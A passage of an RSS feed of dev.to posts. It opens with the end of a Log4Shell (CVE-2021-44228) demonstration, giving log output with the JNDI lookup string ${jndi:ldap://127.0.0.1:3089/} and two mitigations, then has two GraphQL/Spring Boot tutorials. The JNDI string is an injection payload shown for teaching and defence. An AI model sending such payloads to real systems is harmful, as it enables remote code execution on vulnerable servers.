    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:860)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1589)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:748)
Caused by: java.net.ConnectException: Connection refused: connect
    at java.net.DualStackPlainSocketImpl.connect0(Native Method)
    at java.net.DualStackPlainSocketImpl.socketConnect(DualStackPlainSocketImpl.java:79)
    at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
    at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
    at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
    at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:172)
    at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
    at java.net.Socket.connect(Socket.java:589)
    at java.net.Socket.connect(Socket.java:538)
    at java.net.Socket.&amp;lt;init&amp;gt;(Socket.java:434)
    at java.net.Socket.&amp;lt;init&amp;gt;(Socket.java:211)
    at com.sun.jndi.ldap.Connection.createSocket(Connection.java:375)
    at com.sun.jndi.ldap.Connection.&amp;lt;init&amp;gt;(Connection.java:215)
    ... 92 more

2021-12-20 01:01:33.090  INFO 17028 --- [nio-8080-exec-3] c.l.v.l.c.TestController                 : user input to search data : ${jndi:ldap://127.0.0.1:3089/}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Here we can see Log4j is trying to access the JNDI url to get the value to inject it in to the log message. With the same way hacker can send his/her malicious JNDI server details as an input and send their malicious object to the actual running application and can exploit it . &lt;/p&gt;

&lt;p&gt;Now question is how to solve this :&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You can update the version of log4j2 to 2.17 &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;How?&lt;/strong&gt;&lt;br&gt;
To do this just add below property to your build.gradle&lt;br&gt;
&lt;strong&gt;ext['log4j2.version'] = '2.17.0'&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You can disable the look up by passing the JVM arguments in the configuration.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;How?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Go to Edit configuration and do the following and add VM option and add below &lt;br&gt;
&lt;strong&gt;-Dlog4j2.formatMsgNoLookups=true&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fauwgikb3fow5x3n14sfd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fauwgikb3fow5x3n14sfd.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmzg9yrb1srk67ernhcsh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmzg9yrb1srk67ernhcsh.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click apply &amp;amp; ok. Then Restart the server.&lt;br&gt;
After doing the above changes I will hit the same URL again. Now we can see the logs that JNDI look up does not happen.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

2021-12-20 01:12:37.671  INFO 20384 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'
2021-12-20 01:12:37.672  INFO 20384 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
2021-12-20 01:12:37.674  INFO 20384 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 2 ms
2021-12-20 01:12:37.761  INFO 20384 --- [nio-8080-exec-1] c.l.v.l.c.TestController                 : user input to search data : ${jndi:ldap://127.0.0.1:3089/}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;I hope log4j vulnerability is clear to all now . &lt;/p&gt;

&lt;p&gt;This is the github link where I kept this code .&lt;br&gt;
&lt;a href="https://github.com/ArpanForGeek/log4jdemo.git" rel="noopener noreferrer"&gt;https://github.com/ArpanForGeek/log4jdemo.git&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reference:&lt;/strong&gt; &lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228" rel="noopener noreferrer"&gt;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Happy learning&lt;/p&gt;

&lt;p&gt;Thanks&lt;br&gt;
Arpan&lt;/p&gt;

&lt;p&gt;Let's connect:&lt;br&gt;
LinkedIn : &lt;a href="https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/" rel="noopener noreferrer"&gt;https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>java</category>
      <category>webdev</category>
      <category>security</category>
    </item>
    <item>
      <title>Basics of GraphQL</title>
      <dc:creator>Arpan Bandyopadhyay</dc:creator>
      <pubDate>Thu, 16 Dec 2021 11:54:58 +0000</pubDate>
      <link>https://dev.to/arpanforgeek/basics-of-graphql-523d</link>
      <guid>https://dev.to/arpanforgeek/basics-of-graphql-523d</guid>
      <description>&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/Y_8CZjEtfqY"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Let's connect:&lt;br&gt;
LinkedIn : &lt;a href="https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/"&gt;https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>graphql</category>
      <category>webdev</category>
      <category>java</category>
      <category>beginners</category>
    </item>
    <item>
      <title>GraphQL with Spring Boot</title>
      <dc:creator>Arpan Bandyopadhyay</dc:creator>
      <pubDate>Tue, 14 Dec 2021 16:05:38 +0000</pubDate>
      <link>https://dev.to/arpanforgeek/graphql-with-spring-boot-1phm</link>
      <guid>https://dev.to/arpanforgeek/graphql-with-spring-boot-1phm</guid>
      <description>&lt;p&gt;&lt;strong&gt;What Is GraphQL?&lt;/strong&gt;&lt;br&gt;
Traditional REST APIs work with the concept of Resources that the server manages. These resources can be manipulated in some standard ways, following the various HTTP verbs. This works very well as long as our API fits the resource concept, but quickly falls apart when we need to deviate from it.&lt;/p&gt;

&lt;p&gt;This also suffers when the client needs data from multiple resources at the same time. For example, requesting a blog post and the comments. Typically, this is solved by either having the client make multiple requests or by having the server supply extra data that might not always be required, leading to larger response sizes.&lt;/p&gt;

&lt;p&gt;GraphQL offers a solution to both of these problems. It allows for the client to specify exactly what data is desired, including from navigating child resources in a single request, and allows for multiple queries in a single request.&lt;/p&gt;

&lt;p&gt;Here I am going to discuss how to integrate GraphQL with Spring boot.&lt;/p&gt;

&lt;p&gt;I am going to use below to achieve this :&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Spring boot libraries &lt;/li&gt;
&lt;li&gt; GraphQL libraries &lt;/li&gt;
&lt;li&gt; Spring JPA&lt;/li&gt;
&lt;li&gt; Hibernate&lt;/li&gt;
&lt;li&gt; Lombok&lt;/li&gt;
&lt;li&gt; Postgres&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;What is GraphiQL?&lt;/strong&gt;&lt;br&gt;
GraphQL also has a companion tool called GraphiQL. This is a UI that is able to communicate with any GraphQL Server and execute queries and mutations against it&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GraphQL Server with Connected Database&lt;/strong&gt;&lt;br&gt;
This architecture has a GraphQL Server with an integrated database and can often be used with new projects. On the receipt of a Query, the server reads the request payload and fetches data from the database. This is called resolving the query. The response returned to the client adheres to the format specified in the official GraphQL specification.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F78ot5fatxroot5b1s23i.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F78ot5fatxroot5b1s23i.jpg" alt="Image description" width="575" height="218"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the above diagram, GraphQL server and the database are integrated on a single node. The client (desktop/mobile) communicates with GraphQL server over HTTP. The server processes the request, fetches data from the database and returns it to the client.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here is the full list of dependencies , I have used to work with GraphQL &amp;amp; Spring Boot&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;implementation group: 'io.leangen.graphql', name: 'graphql-spqr-spring-boot-starter', version: '0.0.6'
implementation group: 'org.postgresql', name: 'postgresql', version: '42.2.20'
implementation 'org.apache.commons:commons-collections4:4.4'
implementation 'org.jdal:jdal-core:2.0.0'
implementation group: 'com.graphql-java', name: 'graphql-java-extended-scalars', version: '2021-06-29T01-19-32-8e19827'
implementation group: 'org.hibernate', name: 'hibernate-core', version: '5.5.2.Final'
    implementation group: 'commons-net', name: 'commons-net', version: '3.8.0'
    implementation group: 'com.graphql-java-kickstart', name: 'graphiql-spring-boot-starter', version: '7.1.0'
    compileOnly group: 'org.projectlombok', name: 'lombok', version: '1.18.20'
    implementation group: 'org.apache.commons', name: 'commons-collections4', version: '4.4'
    implementation group: 'com.fasterxml.jackson.core', name: 'jackson-databind', version: '2.12.3'
    implementation group: 'com.graphql-java-kickstart', name: 'graphql-spring-boot-starter', version: '7.0.1'
    implementation group: 'org.springframework', name: 'spring-web', version: '5.3.6'
    implementation group: 'com.graphql-java-kickstart', name: 'graphql-spring-boot-starter-test', version: '7.0.1'
    implementation group: 'org.springframework.boot', name: 'spring-boot-starter-data-jpa', version: '2.5.0'
    implementation group: 'commons-io', name: 'commons-io', version: '2.10.0'
    compileOnly group: 'org.hibernate.orm', name: 'hibernate-jpamodelgen', version: '6.0.0.Alpha6'
    implementation group: 'org.modelmapper', name: 'modelmapper', version: '2.4.4'
    implementation group: 'org.postgresql', name: 'postgresql', version: '42.2.20'
    implementation group: 'com.graphql-java-kickstart', name: 'playground-spring-boot-starter', version: '5.10.0'
    implementation group: 'org.apache.commons', name: 'commons-lang3', version: '3.12.0'
    compileOnly 'org.hibernate:hibernate-jpamodelgen'
    annotationProcessor('org.hibernate:hibernate-jpamodelgen')
    implementation 'org.springframework.boot:spring-boot-starter'
    testImplementation 'org.springframework.boot:spring-boot-starter-test'
    compileOnly 'org.projectlombok:lombok'
    annotationProcessor 'org.projectlombok:lombok'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;My Sample Project Structure&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbsfuxs6okzab5bmhif4z.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbsfuxs6okzab5bmhif4z.PNG" alt="Image description" width="464" height="551"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My Entity Classes&lt;/strong&gt; &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Employee.java&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package com.example.demo.entities;

import io.leangen.graphql.annotations.GraphQLNonNull;
import io.leangen.graphql.annotations.types.GraphQLType;
import lombok.Data;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.OneToOne;
import javax.persistence.Table;
import java.math.BigInteger;
import java.time.LocalDate;

@Entity
@Data
@GraphQLType
@Table(name = "employee")
public class Employee {

    @Id
    @Column(name = "emp_id")
    private BigInteger employeeId;
    @Column(name = "ename")
    @GraphQLNonNull
    private String employeeName;
    @Column(name = "email_id")
    private String email;
    @Column(name = "city")
    private String city;
    @Column(name = "country")
    private String country;
    @Column(name = "dept_id")
    private Integer deptId;
    @Column(name = "dob")
    private LocalDate dob;

    @OneToOne(fetch = FetchType.LAZY)
    @JoinColumn(name = "dept_id", insertable = false, updatable = false)
    private Department department;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Department.java&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package com.example.demo.entities;

import io.leangen.graphql.annotations.GraphQLQuery;
import io.leangen.graphql.annotations.types.GraphQLType;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.Id;
import javax.persistence.OneToMany;
import javax.persistence.Table;
import java.util.List;

@Entity
@Data
@AllArgsConstructor
@NoArgsConstructor
@GraphQLType(description = "This is Department")
@Table(name = "department")
public class Department {

    @Id
    @Column(name = "dept_id")
    @GraphQLQuery(description = "This is deptID")
    private Integer deptId;
    @Column(name = "dname")
    private String deptName;

    @OneToMany(fetch = FetchType.LAZY, mappedBy = "department")
    private List&amp;lt;Employee&amp;gt; employee;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;My Repositories **&lt;br&gt;
**1. DepartmentDao.java&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package com.example.demo.dao;

import com.example.demo.entities.Department;
import org.springframework.data.repository.CrudRepository;
import org.springframework.stereotype.Repository;

import java.util.List;

@Repository
public interface DepartmentDao extends CrudRepository&amp;lt;Department, Integer&amp;gt; {

    public Department findByDeptName(String deptName);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2.EmployeeDao.java&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package com.example.demo.dao;

import com.example.demo.entities.Employee;
import org.springframework.data.repository.CrudRepository;
import org.springframework.stereotype.Repository;

import java.math.BigInteger;
import java.util.List;

@Repository
public interface EmployeeDao extends CrudRepository&amp;lt;Employee, BigInteger&amp;gt; {
    public List&amp;lt;Employee&amp;gt; findByEmployeeName(String ename);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;My Service classes&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;1.EmployeeService.java&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package com.example.demo.service;

import com.example.demo.dao.EmployeeDao;
import com.example.demo.entities.Employee;
import com.example.demo.entities.EmployeeDto;
import com.example.demo.exception.ResourceNotFoundException;
import org.apache.commons.collections4.IteratorUtils;
import org.apache.commons.lang.RandomStringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import java.math.BigInteger;
import java.util.List;

@Service
public class EmployeeService {

    @Autowired
    private EmployeeDao employeeDao;


    public List&amp;lt;Employee&amp;gt; getAllEmployee() {
        return IteratorUtils.toList(employeeDao.findAll().iterator());
    }

    public Employee getEmployeeByID(BigInteger eid) {
        return employeeDao.findById(eid).orElseGet(() -&amp;gt; {
            throw new ResourceNotFoundException("No Employee found");
        });
    }

    public List&amp;lt;Employee&amp;gt; getEmployeeByName(String ename) {
        return employeeDao.findByEmployeeName(ename);
    }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. DepartmentService.java&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package com.example.demo.service;

import com.example.demo.dao.DepartmentDao;
import com.example.demo.entities.Department;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

@Service
public class DepartmentService {

    @Autowired
    private DepartmentDao departmentDao;

    public Department getDeptByName(String deptName) {
        return departmentDao.findByDeptName(deptName);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;My Query classes&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;1.EmployeeQuery.java&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package com.example.demo.queries;

import com.example.demo.entities.Employee;
import com.example.demo.service.EmployeeService;
import io.leangen.graphql.annotations.GraphQLArgument;
import io.leangen.graphql.annotations.GraphQLQuery;
import io.leangen.graphql.spqr.spring.annotations.GraphQLApi;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

import java.math.BigInteger;
import java.util.List;

@Component
@GraphQLApi
public class EmployeeQuery {

    @Autowired
    private EmployeeService employeeService;

    @GraphQLQuery(description = "This query is used to fetch all Employee ")
    public List&amp;lt;Employee&amp;gt; searchAllEmployee() {
        return employeeService.getAllEmployee();
    }

    @GraphQLQuery(description = "This query is used to fetch Employee by employeeId")
    public Employee searchEmployeeById(@GraphQLArgument(name = "employeeId") BigInteger eid) {
        return employeeService.getEmployeeByID(eid);
    }

    @GraphQLQuery(description = "This query is used to fetch employeeId by employeeName")
    public List&amp;lt;Employee&amp;gt; searchEmployeeByName(@GraphQLArgument(name = "employeeName") String eName) {
        return employeeService.getEmployeeByName(eName);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2.DepartmentQuery.java&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;package com.example.demo.queries;

import com.example.demo.entities.Department;
import com.example.demo.service.DepartmentService;
import io.leangen.graphql.annotations.GraphQLArgument;
import io.leangen.graphql.annotations.GraphQLQuery;
import io.leangen.graphql.spqr.spring.annotations.GraphQLApi;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

@Component
@GraphQLApi
public class DepartmentQuery {

    @Autowired
    private DepartmentService departmentService;

    @GraphQLQuery(description = "This query is used to fetch department by department name")
    public Department searchDeptByName(@GraphQLArgument(name = "deptName") String deptName) {
        return departmentService.getDeptByName(deptName);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;*&lt;em&gt;Now we can see the graphql schema documentation after starting the server : *&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;URL : &lt;a href="http://localhost:8080/graphiql"&gt;http://localhost:8080/graphiql&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2la0ixv1yiulawcexs0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2la0ixv1yiulawcexs0.png" alt="Image description" width="800" height="305"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Famq7qnkfpaqt8p7b2oo9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Famq7qnkfpaqt8p7b2oo9.png" alt="Image description" width="800" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx97g8hxo6qae6hdq96th.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx97g8hxo6qae6hdq96th.png" alt="Image description" width="800" height="279"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Execute few of queries&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuhwpppe7pueuljinqpk3.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuhwpppe7pueuljinqpk3.PNG" alt="Image description" width="800" height="177"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F444beqe3vv4zlsjmj7bs.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F444beqe3vv4zlsjmj7bs.PNG" alt="Image description" width="800" height="219"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here I have shared all the steps to integrate Spring boot with graphQL. I will come with other topics in my coming posts.&lt;/p&gt;

&lt;p&gt;Thank you.. &lt;br&gt;
Arpan&lt;/p&gt;

&lt;p&gt;Let's connect:&lt;br&gt;
LinkedIn : &lt;a href="https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/"&gt;https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>graphql</category>
      <category>java</category>
      <category>webdev</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
